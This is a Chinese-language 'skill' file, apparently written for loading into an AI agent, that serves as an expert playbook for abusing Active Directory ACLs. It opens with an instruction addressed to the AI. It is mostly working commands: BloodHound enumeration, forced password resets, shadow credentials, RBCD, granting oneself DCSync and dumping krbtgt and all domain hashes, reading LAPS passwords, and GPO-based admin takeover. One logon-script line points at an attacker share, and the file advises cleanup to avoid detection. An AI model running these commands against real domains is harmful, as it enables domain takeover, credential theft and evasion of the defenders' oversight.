active-directory-acl-abuse

技能：滥用 AD ACL——专家攻击手册

AI 加载指令：专家级 AD ACL 滥用技术。涵盖 BloodHound 枚举、危险 ACE（GenericAll、WriteDACL、WriteOwner 等）、DCSync、影子凭据、定向 Kerberoasting、组操纵、LAPS 和 GPO 滥用。基础模型会遗漏复杂的 ACL 链利用和 Cypher 查询模式。

0. 相关路由

深入研究之前，可以考虑加载：

• active-directory-kerberos-attacks，了解常与 ACL 滥用结合的 Kerberos 攻击
• active-directory-certificate-services，了解 ACL 利用后的基于证书的攻击
• ntlm-relay-coercion，了解可设置 ACL 的中继攻击（LDAP 中继）
• windows-lateral-movement，了解获取提升的 AD 访问权限后的操作

高级参考

需要以下内容时，也请加载 BLOODHOUND_PATHS.md：

• 常见的 BloodHound 攻击路径及 Cypher 查询
• 用于查找复杂链的自定义 Neo4j 查询
• 数据收集和导入提示

---

1. BLOODHOUND 枚举

数据收集

# SharpHound (from Windows, domain-joined)
SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip

# bloodhound-python (from Linux)
bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP

# Specific collection methods
SharpHound.exe -c DCOnly          # Fastest — only DC queries
SharpHound.exe -c Session         # Session data only (run periodically)
SharpHound.exe -c All,GPOLocalGroup  # Include GPO analysis

关键 BloodHound 查询（内置）

• “查找所有域管理员”
• “从已控制的主体到域管理员的最短路径”
• “查找拥有 DCSync 权限的主体”
• “到非约束委派系统的最短路径”
• “查找域用户是本地管理员的计算机”

---

2. 危险 ACE 类型

ACE	对用户的影响	对组的影响	对计算机的影响
GenericAll	更改密码、设置 SPN、修改属性	添加成员	RBCD、读取 LAPS、所有属性
GenericWrite	设置 SPN、修改属性、影子凭据	添加成员	RBCD、影子凭据
WriteDACL	授予自己任意权限	同左	同左
WriteOwner	获取所有权 → 然后使用 WriteDACL	同左	同左
ForceChangePassword	无需知道旧密码即可重置密码	不适用	不适用
AddMember	不适用	将自己/他人添加到组	不适用
AllExtendedRights	强制更改密码、读取 LAPS	不适用	读取 LAPS、BitLocker 密钥
ReadLAPSPassword	不适用	不适用	读取本地管理员密码
WriteSPN	设置 SPN → 定向 Kerberoasting	不适用	不适用

---

3. 针对特定 ACE 的利用

用户上的 GenericAll

# Option 1: Force change password
net user targetuser NewP@ss123 /domain

# Option 2: Targeted Kerberoasting
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
# → Kerberoast, then clear SPN

# Option 3: Shadow Credentials
Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01

# Option 4: Set logon script
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}

计算机上的 GenericAll / GenericWrite

# RBCD attack
rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC

# Shadow Credentials on computer
pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC

WriteDACL

# Grant DCSync rights to yourself
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync

# Impacket
dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC

WriteOwner

# Step 1: Take ownership
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv

# Step 2: Grant WriteDACL to yourself (as owner)
Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All

# Step 3: Now exploit as GenericAll

ForceChangePassword

# Impacket
rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'"

# PowerView
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)

# net rpc
net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01

将成员添加到组

# Add self to privileged group
Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv

# Impacket
net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/attacker%pass -S DC01

---

4. DCSYNC 攻击

前提条件

主体需要对域对象拥有以下两种复制权限：

• DS-Replication-Get-Changes（GUID：1131f6aa-9c07-11d1-f79f-00c04fc2dcd2）
• DS-Replication-Get-Changes-All（GUID：1131f6ad-9c07-11d1-f79f-00c04fc2dcd2）

执行

# Impacket — dump all hashes
secretsdump.py DOMAIN/user:password@DC01 -just-dc

# Specific account only
secretsdump.py DOMAIN/user:password@DC01 -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.com /user:krbtgt
lsadump::dcsync /domain:domain.com /all /csv

# Impacket with Kerberos auth
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass DC01.domain.com -just-dc

默认情况下哪些主体拥有 DCSync 权限？

• 域管理员
• 企业管理员
• 域控制器组
• BUILTIN\Administrators（在域对象上）

---

5. 影子凭据

攻击流程

在目标上写入 msDS-KeyCredentialLink → 生成证书 → 通过 PKINIT 进行身份验证。

# pyWhisker (Linux)
pywhisker.py -d domain.com -u attacker -p pass --target victim --action add --dc-ip DC01
# Output: DeviceID and PFX file

# Authenticate with certificate
gettgtpkinit.py -cert-pfx victim.pfx -pfx-pass RANDOM_PASS domain.com/victim victim.ccache
export KRB5CCNAME=victim.ccache

# Extract NT hash from TGT (for pass-the-hash)
getnthash.py -key AS_REP_KEY domain.com/victim

# Whisker (Windows)
Whisker.exe add /target:victim /domain:domain.com /dc:DC01.domain.com
# → Provides Rubeus command to get TGT
Rubeus.exe asktgt /user:victim /certificate:CERT_B64 /password:PASS /ptt

清理：移除添加的密钥凭据，以避免被发现。

---

6. 读取 LAPS 密码

# PowerView
Get-DomainComputer -Identity TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime

# AD Module
Get-ADComputer -Identity TARGET -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd

# LAPS v2 (Windows LAPS)
Get-LapsADPassword -Identity TARGET -AsPlainText

# CrackMapExec
crackmapexec ldap DC01 -u user -p pass --module laps

---

7. GPO 滥用

查找可写入的 GPO

# PowerView — find GPOs where you have write access
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite') -and
    ($_.SecurityIdentifier -match 'YOUR_SID')
}

通过 SharpGPOAbuse 利用

# Add local admin via GPO
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount lowpriv --GPOName "Vulnerable GPO"

# Add scheduled task via GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\admin --Command "cmd.exe" --Arguments "/c net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"

# Add startup script
SharpGPOAbuse.exe --AddComputerScript --ScriptName "evil.bat" --ScriptContents "net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"

# pyGPOAbuse (Linux)
pygpoabuse.py DOMAIN/user:pass -gpo-id "GPO_GUID" -command "net localgroup administrators lowpriv /add" -dc-ip DC01

---

8. ACL 攻击决策树

Have domain user access — want to escalate via ACL
│
├── Run BloodHound → analyze shortest paths to DA
│   └── Upload data → "Shortest Paths to Domain Admins from Owned Principals"
│
├── Direct ACL on user object?
│   ├── GenericAll → force password change, shadow creds, or targeted kerberoast (§3)
│   ├── GenericWrite → shadow credentials or set SPN (§3/§5)
│   ├── ForceChangePassword → reset password directly (§3)
│   ├── WriteDACL → grant yourself GenericAll, then exploit (§3)
│   └── WriteOwner → take ownership → WriteDACL → GenericAll (§3)
│
├── ACL on group?
│   ├── AddMember / GenericAll → add self to privileged group (§3)
│   └── WriteDACL → grant AddMember, then add self
│
├── ACL on computer object?
│   ├── GenericAll/GenericWrite → RBCD attack (§3)
│   ├── AllExtendedRights → read LAPS password (§6)
│   └── GenericWrite → shadow credentials on machine (§5)
│
├── ACL on domain object?
│   ├── WriteDACL → grant DCSync rights to self (§4)
│   └── Replication rights already? → DCSync directly (§4)
│
├── ACL on GPO linked to privileged OU?
│   └── Write access → add admin / scheduled task via GPO (§7)
│
└── Complex multi-hop chain?
    └── Load BLOODHOUND_PATHS.md for Cypher queries and chain analysis